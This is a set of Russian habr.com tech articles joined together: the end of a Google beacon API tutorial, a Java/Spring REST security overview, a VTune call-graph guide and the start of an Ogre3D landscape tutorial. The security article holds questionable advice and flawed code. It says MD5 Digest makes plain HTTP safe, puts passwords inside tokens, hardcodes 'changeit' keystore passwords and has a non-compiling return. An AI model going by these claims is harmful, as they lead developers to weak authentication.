После включения и базовой настройки маячка на трансляцию сообщений, **Proximity Beacon API** может быть использован для его регистрации. К нему мы можем привязать дополнительные данные, которые помогут устройствам пользователей понять где они находятся. Запись в **Google Beacons Registry** может содержать следующие метаданные:
* **Advertised ID** (обязательно)
* Текущий статус — активный, не активный, выведенный из эксплуатации.
* Стабильность — выражает ожидаемую стабильность размещения. (Стабильный, редко перемещаемый, часто перемещаемый, постоянно перемещающийся)
* Широта и долгота — пара double представляющих значение в градусах. Должны соответствовать представлению **WGS84**, если не указано иное. Значения должны быть в пределах нормализованных диапазонов.
* Увроень внутри здания — человеко читаемая строка, что бы указать на каком этаже расположен маячок.
* **Google Places API Place ID**
* Текстовое описание
* Произвольные свойства, такие как пара ключ/значение
Подробнее о значениях метаданных вы можете прочитать [здесь](https://developers.google.com/beacons/proximity/reference/rest/v1beta1/beacons#Status).
Это и есть те самые дополнительные метаданные о которых я говорил в начале статьи, они могут быть использованы нашим приложением для своих нужд или улучшения общего UX. Например, мы можем использовать **Google Places API Place ID** для **Place Picker**. **Place Picker** — это диалог, который отображает интерактивную карту ближайших мест, организаций, заведений и т.д. Пользователь можете получить информацию о каком то близлежащем месте или поделиться в соц.сетях информацией о том месте где сейчас находится. **Place Picker** являются частью [**Places API**](https://developers.google.com/places/) и доступен на обоих платформах [Android](https://developers.google.com/beacons/place-picker) и [iOS](https://developers.google.com/places/ios-api/placepicker).
Рассылаемый ID (**Advertised ID**) должын быть корректным **Eddystone-UID** идентификатором маячка (16 байт, содержащих 10 байт **namespaceId** и 6 байт **instance Id**). Значение ID должно быть **base64** представлением данных.
Маячки представлены в виде ресурса [beacon](https://developers.google.com/beacons/proximity/reference/rest/v1beta1/beacons#resource-beacon) и могут быть зарегистрированы вызовом метода `beacons.register`.
О других методах вы можете посмотреть [здесь](https://developers.google.com/beacons/proximity/reference/rest/v1beta1/beacons#methods).
Маячок может быть зарегистрирован одновременно только в одном проекте в **Google Developers Console**. Попытка зарегистрировать маячок повторно или в другом проекте приведет к ошибке. Как только маячок зарегистрирован, его поле `AdvertisedID` не может быть изменено.
Поэтому обязательно настройте ваши маячки соответствующим образом перед регистрацией.
**Пример показывает как зарегистрировать Eddystone маячок в определенном месте:****HTTP method:**
`POST`
**Request URL:**
`https://proximitybeacon.googleapis.com/v1beta1/beacons:register`
**Request body:**
```
{
"advertisedId": {
"type": "EDDYSTONE",
"id": "Fr4Z98nSoW0hgAAAAAAAAg=="
},
"status": "ACTIVE",
"placeId": "ChIJTxax6NoSkFQRWPvFXI1LypQ",
"latLng": {
"latitude": "47.6693771",
"longitude": "-122.1966037"
},
"indoorLevel": {
"name": "1"
},
"expectedStability": "STABLE",
"description": "An example beacon.",
"properties": {
"position": "entryway"
}
}
```
**Response:**
Если всё прошло удачно, ответом будет статус код: `200 ОК`. Тело ответа содержит JSON представление маячка, содержащее значение `beacon.beaconName`, которое может использоваться как ссылка для управления маячком.
### Отмена регистрации
После того, как маяк был зарегистрирован, он не может быть просто удален из **Google Beacons Registry**. Есть два варианта как можно перевести маячок в режим офлайн:
* Вызвать `beacons.deactivate` для того что бы временно удалить маячок из нашего проекта. После деактивации, API не будет возвращать ни привязанные данные, ни информацию по маячку. Для того что вернуть маяк в рабочее состояние нужно вызвать `beacons.activate`
* Вызвать `beacons.decommission` что бы навсегда деактивировать beacon ID из нашего проекта. Вы больше не сможете использовать ID с которым он был ранее зарегистрирован. Но вы можете легко назначить маячку новый ID и перерегистрировать маячок с новым ID
### Добавление вложений маячкам
После того как маячок был зарегистрирован, он готов к следующему шагу.
К маячкам можно привязывать произвольные данные, называемые вложениями(**Attachments**). Они представляют из себя блобы, хранимые в **Google’s scalable cloud**. В настоящее время, вложения доступны только для проекта в котором они были созданы, вы не сможете использовать их в другом проекте.
При создании вложения вам нужно заполнить два поля:
* **namespacedType** — строка состоящая из идентификатора пространства имён, косой черты и типа данных.
Нпирмер: `surreptitious-banjo-145/string`
* **data** — **base64** представление типа данных определенного в поле **namespacedType**. Например: `aGVsbG8gd29ybGQh`
Что бы выяснить какие пространства имён имён связанны с вашим проектом можно вызвать `namespaces.list`.
Вложения могут быть длиной **до 1024 байт**. Вы можете использовать любой `string` который имеет значение для вашего приложения, например, ID для автобусной остановки или раположения магазина, структурированные данные, такие как JSON, или ссылка на внешнюю базу данных.
Крайне советую воздержаться от ссылки на внешнюю базу данных, если вы хотите вернуть большие элементы данных, такие как изображения или видео, а так же если данные лежат на сторонней базе данных, которой вы не управляете.
Крайне не рекомендуется использовать вложения для хранения и передачи каких-либо конфиденциальных данных.
**Пример показывает как присоединить данные (строка \*\*aGVsbG8gd29ybGQh\*\*) к маячку:****HTTP method:**
`POST`
**Request URL:**
`https://proximitybeacon.googleapis.com/v1beta1/beacons/beaconName/attachments`
**Request body:**
```
{
"namespacedType":"surreptitious-banjo-145/my-attachment-type",
"data":"aGVsbG8gd29ybGQh"
}
```
**Response:**
Если всё прошло удачно, ответом будет статус код: `200 ОК`.
Тело ответа содержит JSON представление вложения, содержащее значение `BeaconAttachment.attachment_name`, которое может использоваться как ссылка для управления вложениями.
### Мониторинг
После того как мы развернули наши маячки, что бы убедиться что они работают должным образом их необходимо мониторить. Кадры **Eddystone-TLM** позволяют маячкам сообщать свой статус устройствам, которые их обнаруживают, но если маячков много, а площадь на которой они развернуты достаточно велика, то самостоятельный обход маячков со специальным приложением для мониторинга может быть проблемой. Выход из ситуации есть. Мы можем периодически подсовывать пользователю кадры **Eddystone-TLM**, которые через него будут передаваться нам в **Google’s beacon platform**. Чередование кадров мониторинга с кадрами, которые непосредственно предназначенными для устройств пользователей (например, **Eddystone-UID**) происходит через равные интервалы времени установленные при инициализации маячков.
В случае если маячок установлен в месте где он не будет часто использоваться, рекомендуется чаще чередовать **Eddystone-TLM** кадры с целевыми, что бы максимизировать вероятность получения пользователем такого кадра.
В кадре **Eddystone-TLM** передаются следующие данные:
* Уровень заряда батарейки
* Количество переданных кадров
* Количество времени с момента активации
* Свою температуру
На основе этих данных **Google's beacon platform** может предоставить следующую информацию:
* Прогнозируемое время разряда батарейки
* Перемещение маячка (если есть акселерометр)
* Необычно низкий уровень обнаружения
Вы можете отслеживать статус маячков с помощью ресурса `beacons.diagnostics`.
В следующей части...
====================
Я расскажу как добавить возможность взаимодействовать с маячками на клиентской стороне (Android и iOS) c помощью **Google Nearby Messages API**.
---
Примеры сервисных приложений для Android и iOS использующих **Proximity Beacon API** на [GitHub](https://github.com/google/beacon-platform/tree/master/samples) | https://habr.com/ru/post/279381/ | null | ru | null |
# 6 способов: как добавить security для Rest сервиса в Java
В данной статье я попытаюсь описать несколько способов, а точнее 6, как добавить security для rest сервиса на Java.
Перед нашей командой была поставлена задача найти все возможные способы добавить security к rest сервису. Проанализировать все за и против и выбрать наиболее подходящий для нашего проекта. Когда я начал искать такую статью в Гугле ничего подходящего не нашел, а были лишь фрагменты и мне пришлось собирать эту информацию по крупицам. Так что думаю, данная статья будет полезна и другим Java разработчикам, пишущим back-end. Я не буду утверждать, что какой-то из этих способов лучше или хуже, все зависит от поставленной задачи и конкретного проекта. Поэтому какой из шести способов подходит больше всего вашему проекту решать только Вам. Я постараюсь описать принцип каждого из подходов и дать небольшой пример с использованием Java и Spring Security.
#### **Способ первый**: Basic Authentication
**Basic Authentication** — юзер или рест клиент указывает свой логин и пароль для получения доступа к рест сервису. Логин и пароль передаются по сети как незашифрованный текст кодированный простым Base64 и может быть легко декодирован любым пользователем. При использовании такого метода, обязательно должен использоваться https протокол для передачи данных.
Конфигурация очень простая, так будет выглядеть security.xml для нашего Spring Security
```
```
Это наш рест контроллер:
```
@RequestMapping("/rest/api")
@RestController
public class RestController {
@RequestMapping
public Object getInfo() {
return //some response MyClass;
}
}
```
И наконец рест-клиент на базе спринового RestTemplate. В хидер добавляем слово Basic пробел потом логин и пароль без пробелов, разделенный двоеточием и закодированный Base64.
```
RestTemplate restTemplate = new RestTemplate();
String url = "http://localhost:8080/rest/api";
HttpHeaders headers = new HttpHeaders();
headers.add("Authorization", "Basic QWxhZGRpbupvcRVuIHNlc2FtZQ=="); //here is some login and pass like this login:pass
HttpEntity request = new HttpEntity(headers);
MyClass myclass = restTemplate.exchange(url, HttpMethod.GET, request, MyClass.class).getBody();
```
#### **Способ второй**: Digest authentication
**Digest authentication** — Это почти тоже самое что первый метод, только логин и пароль передаются в зашифрованном виде, а не как обычный текст. Логин и пароль шифруются MD5 алгоритмом и его достаточно сложно расшифровать. При этом подходе можно использовать незащищенное http соединение и не боятся что пароль будет перехвачен злоумышленниками. Реализация серверной части остается такой же. Надо немного поменять клиент, чтобы он умел отсылать пароль в зашифрованном виде. Тут нам на помощь придет http Apache client.
Чтобы не заниматься копипастом я приведу ссылку на проект на Гитхабе с реализацией [такого клиента](https://github.com/eugenp/tutorials/tree/master/spring-security-rest-digest-auth).
#### **Способ третий**: Token Authentication
Суть этого способа заключается в том, что пользователь используя свои креденшелы логинится в приложение и получает токен для доступа к рест сервису. Доступ к сервису, который выдает токены должен обязательно быть осуществлен через https соединение, доступ к рест сервису можно сделать через обычный http. Токен должен содержать логин, пароль, так же может содержать expiration time и роли пользователя, а так же любую нужную для вашего приложения информацию. После того как токен готов и к примеру все его параметры разделены двоеточием или другим удобным для вас символом или сериализованы как json или xml объект его необходимо зашифровать, прежде чем отдать пользователю. Учтите, что только рест сервис должен знать как расшифровывать этот токен. После того как токен приходит на рест сервис он его расшифровывает и получает все необходимые данные для аутентификацияя и если надо авторизации рест клиента. Имплементация будет кардинально отличатся от предидущих двух.
Наш security.xml теперь будет выглядеть вот так:
```
```
Бин RestAuthenticationEntryPoint будет выглядеть примерно так:
```
public class RestAuthenticationEntryPoint implements AuthenticationEntryPoint {
@Override
public void commence(HttpServletRequest request, HttpServletResponse response,
AuthenticationException authException ) throws IOException, ServletException {
response.sendError( HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized" );
}
}
```
Фильтр CustomTokenAuthenticationFilter, который будет проверять валидность токена, права и тд. и в конечном счете решать, позволено ли данному клиенту работать с нашим рест сервисом или нет, будет выглядеть примерно так, но вы можете его реализовать по другому.
```
public class CustomTokenAuthenticationFilter extends AbstractAuthenticationProcessingFilter {
private AuthenticationManager authenticationManager;
@Autowired
private CryptService cryptService; //service which can decrypt token
public CustomTokenAuthenticationFilter(String defaultFilterProcessesUrl, AuthenticationManager authenticationManager) {
super(defaultFilterProcessesUrl);
this.authenticationManager = authenticationManager;
super.setRequiresAuthenticationRequestMatcher(new AntPathRequestMatcher(defaultFilterProcessesUrl));
setAuthenticationManager(new NoOpAuthenticationManager());
setAuthenticationSuccessHandler(new TokenSimpleUrlAuthenticationSuccessHandler());
}
public final String HEADER_SECURITY_TOKEN = "My-Rest-Token";
@Override
public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException, IOException, ServletException {
String token = request.getHeader(HEADER_SECURITY_TOKEN);
Authentication userAuthenticationToken = parseToken(token);
if (userAuthenticationToken == null) {
throw new AuthenticationServiceException("here we throw some exception or text");
}
return userAuthenticationToken;
}
@Override
protected void successfulAuthentication(HttpServletRequest request, HttpServletResponse response, FilterChain chain, Authentication authResult) throws IOException, ServletException {
super.successfulAuthentication(request, response, chain, authResult);
chain.doFilter(request, response);
}
// This method makes some validation depend on your application logic
private Authentication parseToken(String tokenString) {
try {
String encryptedToken = cryptService.decrypt(tokenString);
Token token = new ObjectMapper().readValue(encryptedToken, Token.class);
return authenticationManager.authenticate(
new UsernamePasswordAuthenticationToken(token.getUsername(), token.getPassword()));
} catch (Exception e) {
return null;
}
return null;
}
}
```
Что мы имеем в итоге. Юзер логинится в приложение получает зашифрованный токен, который может использовать спринговый RestTemplate или другой рест клиент добавляя его в хидер, к примеру наш кастомный хидер My-Rest-Token. На стороне сервера фильтр получает значение из этого хидера, расшифровывает токен, парсит его или разберает на составляющие и решает давать или нет доступ клиенту.
#### **Способ четвертый**: Digital Signature (public/private key pair)
Идея этого подхода заключается в использовании [криптосистемы с открытым ключом](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%BC_%D0%BA%D0%BB%D1%8E%D1%87%D0%BE%D0%BC). Суть состоит в том что любой может обратится к рест сервису и получить беспорядочный набор символов, а точнее шифрованный ответ от сервера и только владелец приватного ключа сможет его расшифровать.
И так по порядку.
1. Когда регестрируется новый пользователь на сервере генерируется пара ключей для этого пользователя — публичный и приватный
2. Приватный отсылается пользователю и только он сможет расшифровать сообщение (ключ должен отправляться по безопасному каналу, чтобы никто не мог его перехватить)
3. При каждом рест запросе клиент передает свой логин, чтобы сервис мог зашифровать сообщение нужным публичным ключом
4. Сервис шифрует и отправляет сообщение
5. Клиент принимает его и расшифровывает своим ключом
Для реализации этого подхода надо написать два фильтра: один на серверной стороне, другой на клиентской. Фильтр на стороне рест сервера будет шифровать риспонс используя ключ клиента, который совершил запрос. Фильтр рест клиента будет расшифровывать риспонс от рест сервиса используя свой приватный ключ.
Еще более безопасным можно сделать этот подход если генерировать пару ключей на клиентской стороне с использование javascript библиотек таких как [forge](https://github.com/digitalbazaar/forge). Такой подход позволяет вообще не пересылать приватный ключ по сети, а сразу генерировать на клиентской стороне, что значительно уменьшает риск скомпрометировать этот ключ. Публичный ключ отправляется серверу для дальнейшего использования при шифровании сообщений. Канал для отправки может быть незащищенным, так как нет ничего страшного если публичный ключ будет перехвачен (детали смотри по ссылке выше криптосистемы с открытым ключом).
#### **Способ пятый**: Certificate Authentication
Вы можете настроить свой сервер таким образом, что если клиент при запросе не предоставляет нужный сертификат ответ от сервера он не получит, точнее получит ответ, что сертификат отсутствует или не подходит. Подробнее про сертификаты можно почитать [здесь](http://en.wikipedia.org/wiki/Public_key_certificate). Сертификаты бывают двух типов:
* Trusted — те который может проверить каждый и они зарегистрированы в едином сертификацонном центре
* Self signed — те которые вы генерите сами и их надо добавлять вашему рест сервису в исключения, чтобы он знал о их существовании и что им можно доверять
Ниже приведено несколько шагов, как создать Self signed сертификат с помощью утилиты keytool.
**generate client and server keys**
*keytool -genkey -keystore keystore\_client -alias clientKey
keytool -genkey -keystore keystore\_server -alias serverKey*
**generate client and server certificates**
*keytool -export -alias clientKey -rfc -keystore keystore\_client > client.cert
keytool -export -alias serverKey -rfc -keystore keystore\_server > server.cert*
**import certificates to corresponding truststores**
*keytool -import -alias clientCert -file client.cert -keystore truststore\_server
keytool -import -alias serverCert -file server.cert -keystore truststore\_client*
Теперь полученные сертификаты надо добавить в конфигурацию нашего сервера. В данном, случае используется Tomcat
```
```
Ниже приведен рест клиент с использованием Http Apache Client, который способен предоставить сертификат рест сервису и осуществит все необходимые «рукопожатия» для получения ответа от сервера
```
public class CertificateAuthenticationServiceImpl implements CertificateAuthenticationService {
private static final String keyStorePass = "changeit";
private static final String trustedStorePass = "changeit";
private static final File keyStore = new File(new CertificateAuthenticationServiceImpl().getClass().getResource("/authCertificate/keystore_client").getPath());
private static final File trustedStore = new File(new CertificateAuthenticationServiceImpl().getClass().getResource("/authCertificate/truststore_client").getPath());
private static final String certificateType = "jks";
public String httpGet(URL url) {
String resp = null;
try {
final HttpParams httpParams = new BasicHttpParams();
final KeyStore keystore = KeyStore.getInstance(certificateType);
keystore.load(new FileInputStream(keyStore), keyStorePass.toCharArray());
final KeyStore truststore = KeyStore.getInstance(certificateType);
truststore.load(new FileInputStream(trustedStore), trustedStorePass.toCharArray());
final SchemeRegistry schemeRegistry = new SchemeRegistry();
schemeRegistry.register(new Scheme(url.toURI().getScheme(), new SSLSocketFactory(keystore, keyStorePass, truststore), url.getPort()));
final DefaultHttpClient httpClient = new DefaultHttpClient(new ThreadSafeClientConnManager(httpParams, schemeRegistry), httpParams);
try {
HttpGet httpget = new HttpGet(url.toString());
CloseableHttpResponse response = httpClient.execute(httpget);
try {
HttpEntity entity = response.getEntity();
if (entity != null) {
resp = EntityUtils.toString(entity);
}
EntityUtils.consume(entity);
} finally {
response.close();
}
} finally {
httpClient.close();
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return resp;
}
}
```
#### **Способ шестой**: OAuth2 authorization
Ну и на закуску я оставил самый сложны для понимания и реализации способ. Зато он очень гибкий и хорошо подходит для больших порталов. Опять же не буду заниматься копипастом, чтобы почитать, что такое OAuth и как он работает идем [сюда](https://ru.wikipedia.org/wiki/OAuth).
Spring security предоставляет нам класс OAuthTemplate, который значительно облегчает нам жизнь.
Все идеи для реализации своей OAuth имплементации я почерпнул из этой [замечательной статьи](http://porterhead.blogspot.com/2014/05/securing-rest-services-with-spring.html) там даже есть рабочий проект, который можно скачать.
#### **Заключение**
Что ж, я надеюсь мне немного удалось прояснить общую картину и помочь Вам в реализации собственных проектов. Это конечно же не все способы защитить Ваш рест сервис, но есть решения на любой вкус. Примеры реализаций не являются общими решениями, а лишь приведены для полного понимания картины. Вы можете писать свои имплементации в зависимости от нужд проекта.
Перед выбором security для вашего проекта четко решите, что вам надо, взвесьте все за и против. Не стоит усложнять систему, если этого не требует проект.
Надеюсь, Ваши приложения будут безопасными и надёжными. | https://habr.com/ru/post/245415/ | null | ru | null |
# Визуальный граф вызовов: VTune Amplifier и не только
Многим нравится представление структуры программы в виде call graph, «графа вызовов функций». Особенно интересно, если этот граф отражает профиль производительности, наиболее «горячие» ветки кода.
Граф вызовов можно получить с помощью Intel VTune Amplifier XE, но для этого нам понадобится ещё пара утилит.
Сначала о базовом функционале. Представление данных профиля производительности — одна из самых мощных вещей в арсенале VTune Amplifier. Изучить дерево вызовов можно на вкладке Caller/Callee:
Слева находится список функций программы, отсортированный по потребляемому процессорному времени. Время это делится на общее и собственное. Общее время включает все вызываемые функции. Из этого списка видно, какие функции сами выполняют тяжёлые вычисления (большое self time), а какие стоят на «горячем пути» (большое total time). При этом на панели слева каждая функция встречается один раз, т.е. если она вызывается в разных ветках кода, то общее и собственное время с них суммируется. Так можно определить общий вклад каждой функции.
В нашем примере 12 функций имеют самый большой total time, примерно одинаковый, и нулевой self time. Это значит, что все они находятся на «горячем пути», возможно вызывая друг друга. Если мы хотим этот самый «горячий путь» изучить, кликаем на любой понравившейся функции и смотрим на панели справа.
Правая верхняя панель отображает последовательность вызовов «вверх» — т.е. все вызывающие функции. Для каждой функции из дерева также есть собственное и общее время. Корнем дерева (вверху) является функция, выбранная на левой панели. Если слева кликнуть на другую, дерево перестроится. Мы выбрали функцию render\_one\_pixel, и видим, что почти все остальные 11 функций с большим общим временем стоят в одной общей цепочке вызовов. На этой панели дерево может ветвиться — если веток кода несколько, показаны будут все, с распределением времени ЦПУ по всем веткам.
Правая нижняя панель, как вы уже догадались, рисует дерево вызываемых функций. Т.е. если заинтересовавший нас узел имеет много total time и мало self time, стоит посмотреть, что он вызывает. На скриншоте сверху значительная часть, 9.5 из 16 секунд, тратится в функции initialize\_2D\_buffer, остальное идёт из ветки функции trace.
Рисуем визуальный call graph
============================
Возможностей VTune Amplifier и представления вида Caller/Callee вполне достаточно для навигации по дереву вызовов и определения критических для производительности функций. Однако, некоторым нравится видеть всё дерево сразу, на одной картинке. Так представляют данные некоторые профилировщики, так делал и VTune много лет назад.
Для любителей развесистого дерева вызовов горячих функций, есть способ его построить.
1. Получаем профиль VTune Amplifier
-----------------------------------
Здесь всё просто – собираем любой результат. Одно условие – в нём должны быть стеки. Т.е. Advanced hotspots с уровнем детализации “Hotspots” не подойдёт, там стеков нет. Вполне подойдёт простой анализ Basic hotspots – можно собрать в GUI или командной строке:
```
amplxe-cl -collect hotspots -result-dir r000hs -- find_hotspots balls.dat
```
2. Распечатываем результат в стиле gprof
----------------------------------------
VTune Amplifier умеет представлять данные в формате профилировщика gprof, это будет нужно для дальнейших преобразований. Здесь уже обязательно потребуется командная строка (на Windows и Linux одинаковая):
```
amplxe-cl -report gprof-cc -result-dir r000hs -format text -report-output r000hs_gprof_cc.txt
```
3. Конвертируем результат в граф с Gprof2dot
--------------------------------------------
Теперь нам потребуется утилита Gprof2dot. Это python скрипт, который умеет строить граф в формате DOT из результатов разных профилировщиков. Спасибо господину Jose Fonseca за его создание и поддержку.
Скрипт не просто умеет строить DOT граф из результатов gprof, но и поддерживает VTune Amplifier – спасибо контрибьюторам сообщества. Форматы VTune и gprof хоть и похожи, но не идеально совпадают, пришлось делать патчи. Но главное, что сейчас всё работает. Указываем “axe” в качестве формата и распечатку с шага 2 на вход:
```
python gprof2dot.py -f axe r000hs_gprof_cc.txt
```
4. Конвертируем DOT граф в картинку
-----------------------------------
Здесь пригодится ещё один инструмент – Graphviz. Он строит визуальное изображение графа по его описанию текстовом виде:
```
python gprof2dot.py -f axe r000hs_gprof_cc.txt | "c:\Program Files (x86)\Graphviz2.38\bin\dot" -Tpng -or000hs_call_graph.png
```
Собственно, шаг 4 включает в себя шаг 3, просто расписал подробнее кто что делает.
Вуаля, теперь можно наблюдать дерево вызовов визуально (приведён фрагмент картинки):
Такой граф отражает структуру вызовов функций (не всех, самых вычислительно нагруженных), и распределение процессорного времени, собственного и суммарного. Чем краснее цвет, тем сильнее была нагрузка на функцию. Так можно наблюдать «горячий путь». Недостатками являются возможно большой размер дерева целиком и его статичность – в PNG изображении уже нельзя группироваться, фильтроваться, смотреть исходники и метрики производительности, как можно в VTune Amplifier. Но, кому что нравится. | https://habr.com/ru/post/259863/ | null | ru | null |
# Реалистичный пейзаж в Ogre 3D
Привет.
Прочитав на хабре [несколько](http://habrahabr.ru/blogs/open_source/86017) [интересных](http://habrahabr.ru/blogs/development/86207) [статей](http://habrahabr.ru/blogs/gdev/120638) об одном из самых мощных рендер-движков [Ogre3D](http://ru.wikipedia.org/wiki/OGRE), я решил поделиться своим опытом в деле моделирования с помощью него реалистичного пейзажа с атмосферными эффектами, водной поверхностью и буйной растительностью. Под катом — рецепт прикручивания к Ogre всех необходимых для этого библиотек.
Забегая вперёд, конечный результат выглядит так:
[](http://lh6.googleusercontent.com/-HOBhsrn5nGo/Tm-zOhNYc-I/AAAAAAAAAaA/vGDgCaJPGPQ/s0/1.png)
[](http://lh4.googleusercontent.com/-xQUi9943pLk/Tm-zTsaCJcI/AAAAAAAAAaY/WCLI4dVZhR8/s0/2.png)
[](http://lh6.googleusercontent.com/-05m3GmR1Ogs/Tm-zS_Dz0SI/AAAAAAAAAaU/BdRxtttAqr0/s0/3.png)
Необходимые библиотеки включают в себя:
* [Caelum](http://www.ogre3d.org/tikiwiki/Caelum) для атмосферных эффектов, а именно неба и облаков;
* [Hydrax](http://www.ogre3d.org/tikiwiki/Hydrax) для водной поверхности;
* [Paged Geometry](http://www.ogre3d.org/tikiwiki/PagedGeometry+Engine) для растительности, включая деревья, кусты и траву, но не ограничиваясь ими.
Шаг первый: скелет приложения
=============================
В качестве скелета приложения будем использовать слегка модифицированный [Ogre Wiki Tutorial Framework](http://www.ogre3d.org/tikiwiki/Ogre+Wiki+Tutorial+Framework) — общий каркас для руководств из огр-вики, так как он достаточно гибок для создания приложений небольшой сложности; кроме того, он включает в себя довольно много функционала, в частности, движение камеры по клавишам WASD, обзор мышью, счётчик FPS и другие полезные вещи. Для компиляции я использовал Microsoft Visual C++ 2008 и систему сборки CMake (последняя позволит скомпилировать проект под любой архитектурой, поддерживаемой Ogre).
Все исходники я выложил на [Github](https://github.com/lockie/Landscape) (впрочем, чтобы не возиться с git, их можно можно скачать по [этому](https://github.com/lockie/Landscape/zipball/master) адресу). Для компиляции понадобится заранее собранный 2008-ой студией [Ogre](http://sourceforge.net/projects/ogre/files/ogre/1.7/OgreSDK_vc9_v1-7-2.exe/download) ветки 1.7 и [CMake](http://www.cmake.org/cmake/resources/software.html); для того, чтобы последний правильно определил местонахождение Ogre, необходимо добавить переменную окружения `OGRE_HOME`, равную каталогу, в который он установлен.
Кроме того, для запуска тестового приложения понадобятся два архива: [media.zip](https://github.com/downloads/lockie/Landscape/media.zip) с текстурами, моделями и прочими нужными вещами, его нужно будет распаковать прямо в каталог проекта; и [configs.zip](https://github.com/downloads/lockie/Landscape/configs.zip), содержащий файлы конфигурации Ogre — его нужно распаковать в каталог сборки.
Для компиляции проекта сначала запускаем CMake GUI и в поле *«Where is the source code»* выбираем каталог с проектом, а в поле *«Where to build the binaries»* — произвольный, например, можно выбрать подкаталог build каталога проекта. Затем нажимаем кнопку *Configure*, выбираем Visual Studio 2008 в списке компиляторов, и если всё прошло нормально и CMake не ругнулся на отсутствие чего-либо, нажимаем *Generate*:
[](http://lh6.googleusercontent.com/-WXq4IQ9MptM/TmpS2uptMSI/AAAAAAAAAX0/dhN-o0Y9N-8/s0/screen0.png)
В результате чего в каталоге build появляется файл-решение Visual Studio LandscapeApp.sln, с которым можно непосредственно работать — вносить изменения в код, компилировать и запускать тестовый проект.
Собственно, после компиляции и запуска нас приветствует стандартное окно выбора подсистемы рендеринга Ogre:
[](http://lh4.googleusercontent.com/-TgjQ4VI-FKs/TmpS2oAPp6I/AAAAAAAAAX4/seBUx2jJM2g/s0/screen1.png)
Выбрав, например, *Direct3D9 Rendering Subsystem* в качестве таковой, нажимаем OK и наблюдаем чёрное окно с сиротливым счётчиком FPS, который явно зашкаливает — ещё бы, сцена-то пустая. К слову, счётчик можно свернуть/развернуть клавишей F, чтобы не мешался.
[](http://lh3.googleusercontent.com/-gtpPSRkBfhQ/TmpS3Twv6yI/AAAAAAAAAYA/aktt8m4muPw/s0/screen2.png)
Что ж, как говорил один известный политик, «Главное — на́чать!»
Шаг второй: небо
================
Caelum — распространяемый по лицензии GNU Lesser GPL плагин к Ogre для создания фотореалистичных атмосферных эффектов, таких, как цвет неба, солнце, луна и звёзды с учётом текущего времени и координат наблюдателя, облака, погодные феномены (дождь, снег, туман) и т.д.
Скачаем последнюю версию Caelum из [репозитория на Google Code](http://code.google.com/p/caelum/source/checkout), ибо, судя по [сообщениям на форуме](http://www.ogre3d.org/addonforums/viewtopic.php?f=21&t=14202), у этого проекта появился новый мейнтейнер и наблюдается некая движуха — в проект добавляют новые фичи и исправляют старые ошибки:
`hg clone https://code.google.com/p/caelum`
Чтобы было удобнее, я скопировал все нужные исходники в дерево тестового проекта, внеся небольшие правки для исправления предупреждений компилятора. Авторы Caelum используют систему сборки CMake, поэтому его добавление в нашу систему сборки ограничивается строчкой
> `add\_subdirectory(Caelum)`
в файле CMakeLists.txt, добавлением подкаталогов `Caelum/main/include` и `${CMAKE_BINARY_DIR}/Caelum/main/include` в список включаемых каталогов через команду `include_directories`, и добавлением Caelum в список линкуемых библиотек через команду `target_link_libraries`:
**Код**
> `include\_directories( ${OIS\_INCLUDE\_DIRS}
>
> ${OGRE\_INCLUDE\_DIRS}
>
> ${OGRE\_SAMPLES\_INCLUDEPATH}
>
> "Caelum/main/include"
>
> "${CMAKE\_BINARY\_DIR}/Caelum/main/include"
>
> *# ...*target\_link\_libraries(LandscapeApp ${OGRE\_LIBRARIES} ${OIS\_LIBRARIES} Caelum)`
В самом коде потребуется чуть больше изменений. Для начала включим заголовочный файл Caelum в наш главный заголовочный файл LandscapeApplication.hpp:
> `#include`
и включим соответствующее пространство имён в файле исходного кода LandscapeApplication.cpp:
> `**using** **namespace** Caelum;`
Далее, сам по себе Caelum — набор отдельных компонентов для рендеринга неба и атмосферы, которые управляются корневым классом `CaelumSystem`. Этот класс контролирует все компоненты и обновляет (*update*) их внутреннее состояние при надобности. Создадим экземпляр этого класса, для этого добавим указатель на него в наш корневой класс `LandscapeApplication`:
**Код**
> `**class** **LandscapeApplication** : **public** BaseApplication
>
> {
>
> *// ...***protected**:
>
> **virtual** void createScene(void);
>
> Caelum::CaelumSystem\* mCaelumSystem;
>
> };`
И вызовем конструктор в методе `createScene`:
> `void LandscapeApplication::createScene(void)
>
> {
>
> mCaelumSystem = **new** CaelumSystem(mRoot, mSceneMgr, CaelumSystem::CAELUM_COMPONENTS_DEFAULT);`
Наиболее важен последний параметр, являющийся [битовой маской](http://caelum.sourceforge.net/doc/trunk/html/classCaelum_1_1CaelumSystem.html#caef1cba10339738f9ab03e9de00f280), указывающей, какие компоненты Caelum мы будем использовать. `CAELUM_COMPONENTS_DEFAULT` — набор по умолчанию, он включает все стабильные компоненты.
`CaelumSystem` и его компоненты имеют огромное количество настроек, большая часть которых доступна из кода в виде методов `get/set` и описана в [документации](http://caelum.sourceforge.net/doc/trunk/html); другой, более очевидный способ тюнинга — 3D-редактор [Ogitor](http://ogitor.org), созданный специально для Ogre и поддерживающий все описанные в данной статье библиотеки (и некоторые не описанные):
[](http://lh5.googleusercontent.com/-DlKoSb85DcI/TmpS2yNrotI/AAAAAAAAAX8/f0yy7KlfcHI/s0/screen2.5.png)
Финальный штрих — для изменения атмосферных эффектов во времени необходимо обновлять Caelum каждый фрейм; для этого достаточно добавить наш экземпляр CaelumSystem в списки [Frame Listener'ов](http://www.ogre3d.org/tikiwiki/Basic+Tutorial+4#FrameListeners) и [Render Target Listener'ов](http://www.ogre3d.org/docs/api/html/classOgre_1_1RenderTargetListener.html) Ogre:
> `mCaelumSystem = **new** CaelumSystem(mRoot, mSceneMgr, CaelumSystem::CAELUM_COMPONENTS_DEFAULT);
>
> mRoot->addFrameListener(mCaelumSystem);
>
> mWindow->addListener(mCaelumSystem);`
Вуаля — нас встречает синее небо с медленно клонящимся к закату солнцем, редкие облака и серый туман:
[](http://lh6.googleusercontent.com/-an__cb__hws/TmpS36kkIXI/AAAAAAAAAYI/sReSPs19P1M/s0/screen3.png)
Подправим некоторые параметры Caelum для большей зрелищности:
**Код**
> `*// ...* mWindow->addListener(mCaelumSystem);
>
>
>
